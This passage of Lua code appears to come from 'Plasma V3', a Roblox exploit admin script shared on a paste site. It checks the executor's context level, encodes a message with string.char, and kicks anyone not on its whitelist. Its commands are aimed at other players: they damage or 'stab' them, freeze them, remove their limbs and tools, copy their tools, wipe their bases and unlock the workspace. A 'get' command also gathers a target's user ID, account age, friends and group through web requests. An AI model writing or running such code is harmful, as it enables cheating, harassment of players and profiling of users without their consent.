- weld(plr["Right Arm"], CFrame.new(0.8,0.3,-0.6) * CFrame.Angles(0, 0.5, 4))
- weld(plr["Left Arm"], CFrame.new(-0.8,0.3,-0.6) * CFrame.Angles(0, -0.5, -4))
- plr.Humanoid.Name = "Humanoid1"
- end)
- end
- end
- end)
- AddCommand({"unhang"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Head:Destroy()
- end
- end
- end)
- AddCommand({"clearbase"},"plr -only for babasf", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if Workspace:FindFirstChild("ActiveParts") then
- Workspace.ActiveParts[v.Name.."'s parts"]:ClearAllChildren()
- end
- end
- end
- end)
- AddCommand({"unflare"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- for _, p in pairs(v.Character.Torso:GetChildren()) do
- if p.Name == "flareLight" or p.Name == "flarelight" then
- p:Destroy()
- end
- end
- end
- end
- end)
- AddCommand({"damage"},"plr numb", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.Health = v.Character.Humanoid.Health-Params[2]
- end
- end
- end)
- AddCommand({"fix"}, function(Speaker, Params)
- Lighting.Ambient = orginalGameSettings.ambient
- Lighting.Brightness = orginalGameSettings.brightness
- Lighting.GlobalShadows = orginalGameSettings.gshadows
- Lighting.Outlines = orginalGameSettings.outlines
- Lighting.ShadowColor = orginalGameSettings.shadowcolor
- Lighting.TimeOfDay = orginalGameSettings.timeset
- Lighting.FogColor = orginalGameSettings.fogcolor
- Lighting.OutdoorAmbient = orginalGameSettings.outdoorambient
- Lighting.FogEnd = orginalGameSettings.fogend
- Lighting.FogStart = Lighting.fogstart
- end)
- AddCommand({"disco"}, function(Speaker, Params)
- discoset=true
- repeat
- if discoset==false then return end
- local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
- Lighting.Ambient = color
- Lighting.OutdoorAmbient = color
- Lighting.FogColor = color
- wait(0.1)
- until discoset==false
- end)
- AddCommand({"undisco"}, function(Speaker, Params)
- discoset=false
- end)
- AddCommand({"removetools","rtools"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Backpack:ClearAllChildren()
- end
- end
- end)
- AddCommand({"clone"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- v.Character.Archivable = true
- local cl = v.Character:Clone()
- cl.Parent = Workspace
- table.insert(objects,cl)
- cl:MoveTo(v.Character:GetModelCFrame().p)
- cl:MakeJoints()
- v.Character.Archivable = false
- end
- end
- end
- end)
- AddCommand({"clean","clr"}, function(Speaker, Params)
- for _, v in pairs(objects) do v:Destroy() end
- objects = {}
- end)
- AddCommand({"clearterrain"}, function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- Workspace.Terrain:Clear()
- end
- end
- end)
- AddCommand({"ff"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- Instance.new("ForceField", v.Character)
- end
- end
- end)
- AddCommand({"tchat"},"plr str", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local chat = ""
- for i, v in pairs(Params) do
- chat = chat .. v .. " "
- end
- tabletalert(chat, Speaker)
- end
- end)
- AddCommand({"unff"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- for x, k in pairs(v.Character:GetChildren()) do
- if k.Name == "ForceField" then
- k:Destroy()
- end
- end
- end
- end
- end)
- AddCommand({"fire"},"plr (r b g)", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local f = Instance.new("Fire", v.Character.Torso) f.Size = 10
- if Params[2] then
- f.Color = Color3.new(Params[2]/255,Params[3]/255,Params[4]/255)
- end
- end
- end
- end)
- AddCommand({"sparkles","sp"},"plr (r b g)", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local s = Instance.new("Sparkles", v.Character.Torso)
- if Params[2] then
- s.SparkleColor = Color3.new(Params[2]/255,Params[3]/255,Params[4]/255)
- end
- end
- end
- end)
- AddCommand({"unsparkles","unsp"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character.Torso:FindFirstChild("Sparkles") then
- v.Character.Torso.Sparkles:Destroy()
- end
- end
- end
- end)
- AddCommand({"unfire"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character.Torso:FindFirstChild("Fire") then
- v.Character.Torso.Fire:Destroy()
- end
- end
- end
- end)
- AddCommand({"gear"},"plr num", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local gr = game:GetService("InsertService"):LoadAsset(Params[2]):GetChildren()[1]
- for i, v in pairs(Plrs) do
- if v and v.Backpack then
- gr:Clone().Parent = v.Backpack
- end
- end
- end
- end)
- AddCommand({"copytools","stealtools"},"plr plr", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local Plrs2 = FindPlayer(Params[2], Speaker)
- for i, v in pairs(Plrs) do
- for q, p in pairs(Plrs2) do
- for _, k in pairs(v.Backpack:GetChildren()) do
- k:Clone().Parent = p.Backpack
- end
- end
- end
- end
- end)
- AddCommand({"nograv", "nogravity"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "pl_frc" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do
- if prt:IsA("BasePart") then
- frc.force = frc.force + Vector3.new(0,prt:GetMass()*150,0)
- elseif prt:IsA("Hat") then
- frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*150,0)
- end
- end
- end
- end
- end
- end)
- AddCommand({"grav"},"plr", function(Speaker, Params)
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v.Character.Torso:FindFirstChild("pl_frc") then
- v.Character.Torso["pl_frc"]:Destroy()
- end
- end
- end)
- AddCommand({"drop", "trip"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.PlatformStand = true
- end
- end
- end)
- AddCommand({"jump"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.Jump = true
- end
- end
- end)
- AddCommand({"sit"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Humanoid.Sit = true
- end
- end
- end)
- AddCommand({"headless"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Head.Transparency = 1
- pcall(function()v.Character.Head.face:Destroy()end)
- end
- end
- end)
- AddCommand({"hat"},"plr id", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- if #Plrs > 0 then
- local gr = game:GetService("InsertService"):LoadAsset(Params[2]):GetChildren()[1]
- for i, v in pairs(Plrs) do
- if v and v.Backpack then
- gr:Clone().Parent = v.Character
- end
- end
- end
- end
- end)
- AddCommand({"freeze"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Torso.Anchored = true
- end
- end
- end)
- AddCommand({"thaw"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- for x, p in pairs(v.Character:GetChildren()) do
- if p.ClassName == "Part" then
- p.Anchored = false
- end
- end
- v.Character.Humanoid.WalkSpeed = 16
- end
- end
- end)
- AddCommand({"skybox"},"id", function(Speaker, Params)
- if Params[1] then
- for i, v in pairs(Lighting:GetChildren()) do
- if v:IsA("Sky") then
- v:Destroy()
- end
- end
- local id = "rbxassetid://" .. Params[1]
- local sk = Instance.new("Sky", Lighting)
- sk.SkyboxBk = id
- sk.SkyboxDn = id
- sk.SkyboxFt = id
- sk.SkyboxLf = id
- sk.SkyboxRt = id
- sk.SkyboxUp = id
- end
- end)
- AddCommand({"name"},"plr str", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local name = ""
- for i, v in pairs(Params) do
- if i ~= 1 then
- name = name .. v .. " "
- end
- end
- for i, v in pairs(Plrs) do
- v.Character.Name = name
- end
- end
- end)
- AddCommand({"chat"},"plr str", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local chat = ""
- local ChatService = game:GetService("Chat")
- for i, v in pairs(Params) do
- if i ~= 1 then
- chat = chat .. v .. " "
- end
- end
- for i, v in pairs(Plrs) do
- ChatService:Chat(v.Character.Head, chat, "Red")
- end
- end
- end)
- AddCommand({"unname"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- v.Character.Name = v.Name
- end
- end
- end)
- AddCommand({"unlockws", "unlockworkspace"}, function(Speaker, Params)
- local function unlock(ins)
- for i, v in pairs(ins:GetChildren()) do
- pcall(function() v.Locked = false end)
- unlock(v)
- end
- end
- unlock(Workspace)
- end)
- AddCommand({"unanchorws", "unanchorworkspace"}, function(Speaker, Params)
- local function unanchor(ins)
- for i, v in pairs(ins:GetChildren()) do
- pcall(function() v.Anchored = false end)
- unanchor(v)
- end
- end
- unanchor(Workspace)
- end)
- AddCommand({"removelimbs", "rlimbs"}, function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- for q, p in pairs(v.Character:GetChildren()) do
- if p:IsA("BasePart") and (p.Name:find("Leg") or p.Name:find("Arm")) then p:Destroy() end
- end
- end
- end
- end
- end)
- AddCommand({"respawn", "spawn"}, "plr", function(Speaker, Params)
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- local mod=Instance.new("Model", Workspace)
- local hum=Instance.new("Humanoid", mod)
- local tor=Instance.new("Part", mod)
- tor.Name="Torso"
- tor.Transparency = 1
- tor.CanCollide = false
- mod.Name="Respawn"
- hum.MaxHealth=math.huge
- v.Character = mod
- end
- end)
- AddCommand({"team"},"plr team", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and game:findFirstChild("Teams") then
- for a, tm in pairs(Teams:children()) do
- if tm.Name:lower():find(Params[2]) == 1 then
- v.TeamColor = tm.TeamColor
- end
- end
- end
- end
- end
- end)
- AddCommand({"removehats", "baldify"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- for q, p in pairs(v.Character:GetChildren()) do
- if p:IsA("Hat") then p:Destroy() end
- end
- end
- end
- end
- end)
- AddCommand({"fogstart"},"num", function(Speaker, Params)
- if Params[1] then
- Lighting.FogStart = Params[1]
- end
- end)
- AddCommand({"m", "message"},"msg", function(Speaker, Params)
- if Params[1] then
- local msg = ""for i, v in pairs(Params) do msg = msg .. v .. " " end
- for i, v in pairs(Players:GetChildren()) do
- spawn(function()
- if ispremium(LocalPlayer.Name) then
- title = "Plasma V3 Premium - Global Message"
- else
- title = "Plasma V3 - Global Message"
- end
- giveplrgui(title, msg, v)
- wait(1.9)
- giveplrgui(title, msg, v)
- wait(1.9)
- giveplrgui(title, msg, v)
- end)
- end
- end
- end)
- AddCommand({"pm", "personalmessage"},"msg player", function(Speaker, Params)
- if Params[1] and Params[2] then
- local Plrs = FindPlayer(Params[1], Speaker)
- local msg = ""for i, v in pairs(Params) do if i ~= 1 then msg = msg .. v .. " " end end
- for i, v in pairs(Plrs) do
- spawn(function()
- if ispremium(LocalPlayer.Name) then
- title = "Plasma V3 Premium - Personal Message"
- else
- title = "Plasma V3 - Personal Message"
- end
- giveplrgui(title, msg, v)
- wait(1.9)
- giveplrgui(title, msg, v)
- wait(1.9)
- giveplrgui(title, msg, v)
- end)
- end
- end
- end)
- AddCommand({"get"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- info = {}
- local p, e = pcall(function()
- for _, g in pairs(Workspace:GetChildren()) do
- if g.Name==Speaker.Name.."'s tablet" then
- g:Destroy()
- end
- end
- table.insert(info, "UserId: "..v.userId)
- table.insert(info, "Age: "..v.AccountAge)
- table.insert(info, "Membership Type: "..v.MembershipType.Name)
- table.insert(info, "Camera Mode: "..v.CameraMode.Name)
- table.insert(info, "Health: "..v.Character:FindFirstChild("Humanoid").Health)
- table.insert(info, "WalkSpeed: "..v.Character:FindFirstChild("Humanoid").WalkSpeed)
- table.insert(info, "Friend Count: "..game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("http://api.roblox.com/user/get-friendship-count?userId="..v.userId)).count)
- if game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://www.roblox.com/Groups/GetPrimaryGroupInfo.ashx?users="..v.Name))[v.Name].GroupName ~= nil then
- table.insert(info, "Primary Group: "..game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://www.roblox.com/Groups/GetPrimaryGroupInfo.ashx?users="..v.Name))[v.Name].GroupName)
- end
- local f = 0
- for _, plr in pairs(Players:GetChildren()) do
- if plr:IsFriendsWith(v.userId) and plr~=v then
- f = f+1
- end
- end
- if f~=0 then
- table.insert(info, "Friends in the Server: ")
- for _, plr in pairs(Players:GetChildren()) do
- if plr:IsFriendsWith(v.userId) and plr~=v then
- table.insert(info, "-"..plr.Name.." ("..plr.userId..")")
- end
- end
- end
- table.insert(info, "Distance: "..math.floor(v:DistanceFromCharacter(Speaker.Character.Torso.Position)).." stud(s)")
- end)
- if e then print(e) end
- tabletablet(Speaker, info, v.Name.."'s information", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5), true)
- end
- end
- end)
- AddCommand({"view"},"ss,cmds,admins,bans", function(Speaker, Params)
- for _, v in pairs(Workspace:GetChildren()) do
- if v.Name==Speaker.Name.."'s tablet" then
- v:Destroy()
- end
- end
- function ss(pos)
- local tablet = Plasma.Tablets.Panel2:Clone()
- if premiumThem == "true" then
- tablet.prem.Enabled = true
- end
- local f = tablet.SurfaceGui.Frame
- tablet.Name = Speaker.Name.."'s tablet"
- if ispremium(LocalPlayer.Name) then f.title.Text = "Plasma V3 Premium - Server Statistics"else f.title.Text = "Plasma V3 - Server Statistics" end
- if Workspace.FilteringEnabled == true then f.filtering.Text = "Filtering enabled: true" else f.filtering.Text = "Filtering enabled: false" end
- f.gameid.Text = "Place Id: "..game.PlaceId
- f.gamename.Text = "Game: "..game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
- local function gpf() if tablet == nil then e1:disconnect() e2:disconnect() end if f:FindFirstChild("gameplayers") then f.gameplayers.Text = "Players: "..#Players:GetChildren().."/"..Players.MaxPlayers end end gpf() local e1 = Players.ChildAdded:connect(function() gpf() end) local e2 = Players.ChildRemoved:connect(function() gpf() end)
- local s,e=pcall(function()loadstring("print('hi')")end) if s then f.loadstring.Text = "Loadstring enabled: true"else f.loadstring.Text = "Loadstring enabled: false"end
- local function udf() if tablet == nil then ev:disconnect() end f.timeofday.Text = "Time: "..Lighting.TimeOfDay end udf() local ev = Lighting.Changed:connect(function() udf() end)
- local weld = Instance.new("Weld")
- weld.Part0 = tablet
- weld.Part1 = Speaker.Character.Torso
- weld.C0 = CFrame.new()
- if pos == true then
- tablet.prem.Enabled = false
- weld.C1 = CFrame.new(-3.2,2,-5) * CFrame.Angles(0, 4.8, 5)
- else
- weld.C1 = CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5)
- end
- weld.Parent = tablet
- tablet.Parent = Workspace
- end
- if Params[1] == "ss" or Params[1] == "serverstats" then
- ss()
- elseif Params[1] == "cmds" or Params[1] == "commands" then
- tabletablet(Speaker, Commands, "Commands", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
- elseif Params[1] == "admins" or Params[1] == "adminlist" then
- tabletablet(Speaker, admins, "Admins", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
- elseif Params[1] == "bans" or Params[1] == "banlist" then
- if #bans ~= 0 then
- tabletablet(Speaker, bans, "Bans", CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5))
- end
- elseif Params[1] == "all" then
- tabletablet(Speaker, bans, "Bans", CFrame.new(8.4,2,-2.8) * CFrame.Angles(0, 4.1, 5), false, true)
- tabletablet(Speaker, admins, "Admins", CFrame.new(3,2,-5) * CFrame.Angles(0, 4.5, 5), false, true)
- tabletablet(Speaker, Commands, "Commands", CFrame.new(-9,2,-3) * CFrame.Angles(0, 5.3, 5), false, true)
- ss(true)
- end
- end)
- AddCommand({"dismiss"}, function(Speaker, Params)
- for _, v in pairs(Workspace:GetChildren()) do
- if v.Name==Speaker.Name.."'s tablet" then
- v:Destroy()
- end
- end
- end)
- AddCommand({"help"},"restricted", function(Speaker, Params)
- if Speaker == LocalPlayer then
- local g = Plasma.Guis.HelpGui.Frame:Clone()
- g.Parent = CoreGui.RobloxGui
- g.Gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- g.Gui.Frame.ScrollingFrame.prefix.Text = "The prefix(s) are: [ "..table.concat(Prefix, ", ").." ]"
- print(1)
- g.Gui.txt.MouseButton1Click:connect(function()
- local am = .15
- local function cs(ins)
- for i, v in pairs(ins:GetChildren()) do
- if v:IsA("Frame") then
- spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
- elseif v:IsA("TextLabel") then
- spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
- elseif v:IsA("TextButton") then
- spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
- spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
- elseif v:IsA("ScrollingFrame") then
- v.BottomImage = "" v.MidImage = "" v.TopImage = ""
- end
- cs(v)
- end
- end
- cs(g)
- wait(1)
- g:Destroy()
- end)
- end
- end)
- AddCommand({"stab"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- spawn(function()
- local t = v
- local knife = Plasma.Parts.knife:Clone()
- knife.Parent = Workspace
- local weld = Instance.new("Weld")
- weld.Part0 = knife.Handle
- weld.Part1 = t.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = CFrame.new(-1,0.3,-2.1) * CFrame.Angles(0, 90, 0)
- weld.Parent = knife.Handle
- spawn(function()
- for i=0,6 do
- t.Character.Humanoid.WalkSpeed = t.Character.Humanoid.WalkSpeed-1
- t.Character.Humanoid.Health = t.Character.Humanoid.Health-15
- wait(1.3)
- end
- t.Character:BreakJoints()
- wait(3)
- knife:Destroy()
- end)
- t.Character.Humanoid.WalkSpeed = 0
- wait(2)
- t.Character.Humanoid.WalkSpeed = 16
- wait(2)
- local weld1 = Instance.new("Weld", t.Character["Left Arm"])
- weld1.Part0 = t.Character["Left Arm"]
- weld1.Part1 = t.Character.Torso
- weld1.C0 = CFrame.new()
- weld1.C1 = CFrame.new(-1.3,0.4,-0.6) * CFrame.Angles(1.3, 3, -0.5)
- weld1.Parent = t.Character["Left Arm"]
- wait(0.3)
- local weld2 = Instance.new("Weld", t.Character["Right Arm"])
- weld2.Part0 = t.Character["Right Arm"]
- weld2.Part1 = t.Character.Torso
- weld2.C0 = CFrame.new()
- weld2.C1 = CFrame.new(0.5,0.5,-0.6) * CFrame.Angles(1.1, 3, 1)
- weld2.Parent = t.Character["Right Arm"]
- end)
- end
- end
- end
- end)
- AddCommand({"fly"},"plr", function(Speaker, Params)
- if Params[1] then
- local Plrs = FindPlayer(Params[1], Speaker)
- for i, v in pairs(Plrs) do
- if v and v.Character then
- spawn(function()
- local gr = game:GetService("InsertService"):LoadAsset(225921000):GetChildren()[1]
- gr.Name = "Click to fly"
- gr.RequiresHandle = false
- gr.CanBeDropped = false
- gr.MouseIcon:Destroy()
- gr.TextureId = ""
- gr.Parent = v.Character
- gr.Handle.Transparency = 1
- gr.Handle.Changed:connect(function() pcall(function() gr.Handle.Transparency = 1 end) end)
- gr.Handle.Mesh:Destroy()
- local weld = Instance.new("Weld", v.Character.Torso)
- weld.Part0 = v.Character.Torso
- weld.Part1 = gr.Handle
- gr:WaitForChild("Part")
- for _, v in pairs(gr:GetChildren()) do if v:IsA("Part") then v.Transparency = 1 v:Destroy() end end
- gr:WaitForChild("Script"):Destroy()
- gr:WaitForChild("ClientControl"):Destroy()
- gr:WaitForChild("ServerControl"):Destroy()
- gr.Sit:Destroy()
- gr.LocalScript.Parent = v.Character
- gr.Name = "Unselect to unfly"
- repeat wait() until gr.Parent ~= v.Character
- gr:Destroy()
- v.Character.Torso.FlightHold:Destroy()
- v.Character.Torso.FlightSpin:Destroy()
- v.Character.Torso.FlightPower:Destroy()
- end)
- end
- end
- end
- end)
- AddCommand({"settings"},"restricted", function(Speaker, Params)
- if Speaker == LocalPlayer then
- runsettings()
- end
- end)
- else
- pcall(function()if getContext() < 3 then
- print(string.char(89, 111, 117, 32, 110, 101, 101, 100, 32, 116, 111, 32, 101, 120, 101, 99, 117, 116, 101, 32, 80, 108, 97, 115, 109, 97, 32, 119, 105, 116, 104, 32, 97, 116, 108, 101, 97, 115, 116, 32, 97, 32, 99, 111, 110, 116, 101, 120, 116, 32, 111, 102, 32, 52))
- end end)
- LocalPlayer:Kick("You're not whitelisted on Plasma V3")
- end --wlist
- end) -- auth
Add Comment
Please, Sign In to add comment